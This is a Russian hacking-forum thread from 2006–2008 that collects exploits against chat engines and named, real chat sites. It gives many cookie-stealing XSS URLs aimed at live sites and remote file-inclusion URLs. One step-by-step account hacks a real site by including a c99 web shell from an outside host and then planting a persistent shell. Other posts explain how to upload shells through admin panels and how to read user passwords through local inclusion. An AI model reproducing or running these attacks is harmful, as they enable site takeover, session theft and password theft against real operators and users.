PDA

Просмотр полной версии : Уязвимости чатов и Движков


Nova
27.06.2006, 11:47
------------------------- Vodoo CHAT ---------------------------
Type:[XSS]
Product: Voodoo chat
Author: qBiN
Exploit: http://site.com/chat/go.php?url=javascript:alert(/Tested%20by%20qBiN/);
Решение: фильтровать переменную урл,можно даже проверять её на валидность
с помощью сокетов.
------------------------------
Type:[XSS]
Product: Voodoo chat
Author: qBiN
Exploit: http://sitename/chat/password_reminder.php?look_for=%3Cscript%3Ealert(/qBiN test/);%3C/script%3E
------------------------------
Type:[PHP Including]
Product: Voodoo chat 1.0RC1b и возможно болие ранние версий.
Источник: xakep.ru
Пример: http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?
------------------------------
Type:FLOODER
Product: Voodoo chat
Author: NaX[no]r†
exploit: http://www.balartrating.ru/flood.zip

------------------------- ЧАТ БОРОДИНА ---------------------------

Может матерьял немного стар но всёже http://antichat.ru/txt/chat_borodin/
Видео лежит здесь http://video.antichat.net/videos/chat_borodin.rar

Уязвимость нашел: Morph
Автор статьи: Morph

------------------------- NAROD Chat ---------------------------
Type:[XSS]
Product: NAROD Chat
Author: [sL1p]
Exploit: Passive XSS:
http://www.yandex.ru/cgi-bin/customize.pl?yxqs="><script>alert(document.cookie)</script>

------------------------- Уязвимости конкретных чатов ---------------------------

Type:[XSS]
Product: www.bazar.co.ua
Author: max_pain89
Exploit: Passive ХSS: http://www.bazar.co.ua/?error[]=<script>confirm(/xxx/)</script>
------------------------------
Type:[XSS]
Product: www.sibchat.ru
Author: [sL1p], Kaban
Exploit: Passive ХSS:
http://www.sibchat.ru/gallery.php?sid='><script>alert(document.cookie)</script>
http://www.sibchat.ru/card_help.php?sid="><script>alert(document.cookie)</script>
http://www.sibchat.ru/register.php?sid="><script>alert(document.cookie)</script>
------------------------------
Type:[XSS]
Product: www.chatinez.zp.ua
Author: [sL1p]
Exploit: Passive XSS:
http://chatinet.zp.ua/winter2005/party/?001=6941337<a>%22%27"><script>alert(document.cookie)</script>
При желании 001 Можно заменить на:
002, 003, 004, 005, 006, 007, 008, 009, 010, 011, 012, 013, 014, 015, 016
------------------------------
Type:[XSS]
Product: www.smchat.ru
Author: [sL1p]
Exploit: Passive XSS:
http://www.smchat.ru/?key="><script>alert(document.cookie)</script>
http://www.smchat.ru/?chatname=&key="><script>alert(document.cookie)</script>
http://www.smchat.ru/?ontopic=default&login="><script>alert(document.cookie)</script>
http://www.smchat.ru/?activate=&login="><script>alert(document.cookie)</script>
http://www.smchat.ru/?password1=&login="><script>alert(document.cookie)</script>
http://www.smchat.ru/?det=default&login="><script>alert(document.cookie)</script>
http://www.smchat.ru/?count=1000&key="><script>alert(document.cookie)</script>
http://www.smchat.ru/?email=&key="><script>alert(document.cookie)</script>
------------------------------
Type:[XSS]
Product: www.chat.ru
Author: [sL1p]
Exploit: Passive XSS:
http://www.chat.ru/user/register.html?dop10=default&confemail="><script>alert(document.cookie)</script>
http://www.chat.ru/user/register.html?anotherpw="><script>alert(document.cookie)</script>
http://www.chat.ru/user/register.html?city=&name="><script>alert(document.cookie)</script>
http://www.chat.ru/user/register.html?action=default&username="><script>alert(document.cookie)</script>
http://www.chat.ru/user/register.html?city=&year="><script>alert(document.cookie)</script>
Комбинируя запросы можно реализовать гораздо больше xss чем в этом списке.
------------------------------
Type:[XSS]
Product: www.krovatka.ru
Author: [sL1p], blackybr
Exploit: Passive XSS:
http://klubnichka.krovatka.ru/k?f=45&newwin=1&id2=5816&id=5673xee7kY1Y&c=8"><script>alert(document.cookie)</script>
http://klubnichka.krovatka.ru/f/e.cgi?c=6&n="><script>alert(document.cookie)%3B</script>
http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn="><script>alert(document.cookie)%3B</script>
http://klubnichka.krovatka.ru/sms/xp.cgi?mn="><script>alert(document.cookie)%3B</script>&ch=6&flag=0
http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn=%3Cmeta+http-equiv=%3E%3C/title%3E%20%3Cscript%3Ealert(document.cookie)%3C/script%3E
Для примера взят канал klubnichka, изменяя название канала естесственно можно реализовывать xss везде.
------------------------------
Type:[XSS]
Product: www.chatcity.ru
Author: [sL1p]
http://www.Chat ID.chatcity.ru/people/pp33.cgi?c=Chat ID&nn="><script>alert(document.cookie)</script>
Chat ID заменяем на адрес чата. У всех они в цифровом значении.
------------------------------
P.s
Если есть какието узявимости по движкам чатов или по каким-то конкретным чатам пишите мне в ПМ я добавлю суда.

.Slip
11.09.2006, 13:50
<------------------------------------------------------------------------------------------->
Уязвимость существует из за прописанных двух инклудах в двух фчатовых файлах. Эти инклуды прописаны во всех версиях фчатов вплоть до версии 4.6.2 Вот эти файлы подвержены уязвимости:

inc/cmses/aedatingCMS2.php
inc/cmses/aedating4CMS.php

Т.к. у меня на машине есть немало разных исходников всяких чатов, то конечно же у меня был и фчат. Открыв один из этих файлов, я увидел следующее:
$aed_root_path = realpath(dirname(__FILE__) . '/../../../') . '/';
include($aed_root_path . 'inc/header.inc.php');
require_once( "$dir[inc]db.inc.php" );
require_once( "$dir[inc]admin.inc.php" );

Эта часть в обоих файлах идентична. Инклуд можно проводить с любого файла. Вот мы и добрались до параметра dir[inc]. Вот он, висит кросавчег ;-)
require_once( "$dir[inc]db.inc.php" );
Как раз он нам и поможет сделать всё что нам нужно. Пора приступать к активным действиям.
<------------------------------------------------------------------------------------------->
Внимание. Здесь будет сохранена полная конспирация подопытного сайта. Надеюсь зачем это сделано объяснять не надо.
Итак заходим на наш сайт: http://www.f**.net
Смотрим о_О. Обычный развлекательный сайт. Форум, чат, всякая мурня. В общем как обычно:-) Для начала находим там чат, форма входа в сам чат висит по адресу: http://www.f**.net/chat/
Лучше и не придумаешь;-) Т.к. уязвим файл inc/cmses/aedatingCMS2.php
То мы заходим по адресу:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php
Нашему взору открываются Warning'и.

Warning: main(/home/f**/www/inc/header.inc.php): failed to open stream: No such file or directory in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 14

Warning: main(/home/f**/www/inc/header.inc.php): failed to open stream: No such file or directory in /home/forfreedomnet/www/chat/inc/cmses/aedatingCMS2.php on line 14

Warning: main(): Failed opening '/home/f**/www/inc/header.inc.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 14

Warning: main(db.inc.php): failed to open stream: No such file or directory in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 15

Fatal error: main(): Failed opening required 'db.inc.php' (include_path='.:/usr/local/lib/php') in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 15 Это нам и надо. На фатал не обращаем внимания, он нам не помешает. Теперь составим нужный нам запрос, для инклуда шелла. Запрос будет исходить от файла inc/cmses/aedatingCMS2.php

Нам известно что узвим параметр dir[inc].

Его мы и используем. Таков будет начальный запрос:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=

Теперь осталось только прописать ссылку на шелл. Вот наш с99shell:
http://slip-antichat.narod.ru/c99shell.txt

Итог таков:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=http://slip-antichat.narod.ru/c99shell.txt?

Всё, шелл получен. Инклуд успешно произведён. Но наверно он нам нужен в каком то более надёжном месте? Я тоже так думаю:-) Создаём php файл в дерриктории:
/home/f**/www/

Открывается небольшое поле, копируем туда весь код шелла, и сохраняем. Теперь наш шелл живёт по адресу:
http://www.f**.net/futura.php
Всё, мы закрепились на сайте уверенно;-) Теперь это будет F.a.q. по инклуду фчатов.
<------------------------------------------------------------------------------------------->
Отдельный thx Tem

ZAMUT
17.07.2008, 00:56
SinChat 1.0 beta1

Type: [XSS]
Product: SinChat
Author: ZAMUT

Passive XSS:


/chat/reg.php?error={XSS}&mail=&site
/chat/showinfo.php?nick={XSS}


Active XSS:

Vuln code:
/reg.php

}else{
$nick=$_POST['nick'];
$pass=$_POST['pass'];
$pass2=$_POST['pass2'];
$mail=$_POST['mail'];
$site=$_POST['site'];
$sexe=$_POST['sexe'];
$all="mail=$mail&site=$site";

$error=0;

...

if ($error==null){
$PrintData="$nick::$pass::user::$mail::$site::$sexe\n";

$fp=fopen("data/users.dat", "a+");
if(fwrite($fp,$PrintData)){
$html="Пользователь зарегистрирован";
}else {
$html="Ошибка при регистрации";
}
fclose($fp);
}

Как видим, при регистрации не фильтруются входящие данные. Информация пишется в файл users.dat, наш код сработает в любом месте, где можем смотреть данные профиля. к примеру:
/chat/showinfo.php?nick=lol


Art-Soft Mini Chat!

Type: [XSS]
Product: Art-Soft Mini Chat!
Author: ZAMUT

Active XSS:

Vuln code:
/write_msg.php

include "option.php";
$fl = file($msg_file);
$count_fl = count($fl);
$msg = stripslashes(trim($_POST['msg']));
$person = trim($_POST['person']);
if (($msg != "") && ($person != ""))
{
if ($count_fl >= $msg_count)
{
$fw = fopen($msg_file, "w");
for($i=1;$i<$msg_count;$i++) fwrite($fw, trim($fl[$i])."\r\n");
}
$time = strftime("%H:%M:%S", time());
$fp = fopen($msg_file, "a+");
$fw = fwrite($fp, $person."¤".$time."¤".$msg."\r\n");
fclose($fp); ?>

Уязвимые поля: "Имя", "Сообщение". Чат не требует регистрации.

USAkid
29.08.2008, 13:17
PHP-SPB
Из личного опыта решил написать кое что о чатах на движке Бородина и php-spb. Юзал первый раз 3 года назад. Сейчас вспомнил вдруг про некоторые уязвимости.

1. Заливка шелла через админку чата

Если у вас есть доступ к админке чата, то вы можете залить туда шелл следующим способом:
Заходите в админку, открываете "HTML/JS/PHP шаблоны всех скинов", выбираете скин (желательно def, если стоит другой). Далее открываете файл __skin1.php (или __skin2.php). И вставляете туда php код шелла.
Для того чтобы открыть его необходимо в браузере набрать:
http://site/chat/skin/имя_каталога/__skin1.php

имя_каталога - это тот самый def или другой куда вы лили шелл.

2. Просмотр админских записей в модуле "Записная книжка в админке"

В модуле "Записная книжка в админке" все работает по принципу: fopen, fread, fputs и fclose. Следовательно никакой шифровки записей нет и они хранятся в открытом виде в файле. По дефолту (как ставят 90% админов чатов) записная книжка хранится в директории: src с названием notebook.txt .
Для чтения открываем:
http://site/chat/src/notebook.txt
и читаем, что пишут админы.
Особенно обратите внимание, что если используется новая админка (adminka Doom edition), то там адрес будет такой:
http://site/chat/src/notebook_adm.dat
P.S: фокус иногда не срабатывает из-за .htaccess

3. Модуль "Антиреклама в чате" aka "Цензор"

Просмотр того, что админы запретили писать в чате, думая, что это реклама.

По дефолту данные хранятся и записываются в файл bwrds.dat в корне чата (большинство админов так и оставляют, из-за лени или непонимания кода модуля).
Открываем из браузера:
http://site/chat/bwrds.dat и спокойно читаем содержимое файла.

4. Просмотр ссылок, которые по идее могут видеть "только" админы с определенным уровнем доступа.

В чате справа снизу есть маленький фрейм. От имени юзера мы можем видеть только обычные ссылки, которые для нас и предназначены. Но для модераторов и администраторов там есть специальные ссылки, которые юзерам недоступны. Для их просмотра делаем следующее:

4.1 Узнаем название директории, где хранится скин, который установлен в чате по-умолчанию:

Открываем персональные настройки в чате, далее смотрим исходный код страницы и ищем код следующего содержания:

<option value="dir_name" selected>по-умолчанию<option value="dir_name" selected>имя_скина</select>

dir_name - это то, что нас и интересует.

4.2 Открываем в браузере ссылку данного вида:
http://site/chat/skin/dir_name/frame_more_admin.html

Где site - адрес сайта, chat - путь до чата, skin - папка со скинами чата, dir_name - имя директории со скином по дефолту, frame_more_admin.html - файл, где хранятся данные с секретными ссылками.

5. "Чтение паролей при локальных инклудах на сайте или чате"

Обнаружил совсем недавно данную уловку (около 4-ех месяцев назад).

Секрет в том, что если помимо чата стоит сайт с уязвимостью php-injection или в самом чате есть такая. (главное - нужен локальный инклуд).

Все пароли юзеров и админов чатов версии > 4.07, на движке php-spb хранятся в директориях daemon/db2 в файлах, с зашифрованным названием. ... При удаленном инклуде действуем так:

5.1 Узнаем какой файл нам нужен. Для этого ставим чат у себя на компе. Как это сделать можно почитать тут: http://php.spb.ru/chat/readme.html#win

После установки регистрируем полностью похожий ник, который мы хотим из другого чата. Далее заходим в чат на компе под админом и открываем инфу того юзера. Снизу будут разные ссылки, нажимаем на "Скрытые поля в инфе юзера" и смотрим файл БД. Он то нам и нужен.

5.2 Далее просто вводим:
http://site/chat/script.php?include=путь_до_этого_фай ла.db2

Пароль будет в таком виде:

"pass";s:19:"password";

password - это будет наш пароль.

На данный момент пока все, что знал сам из личного опыта пользования чатами на этом движке :)
(c) USAkid 2008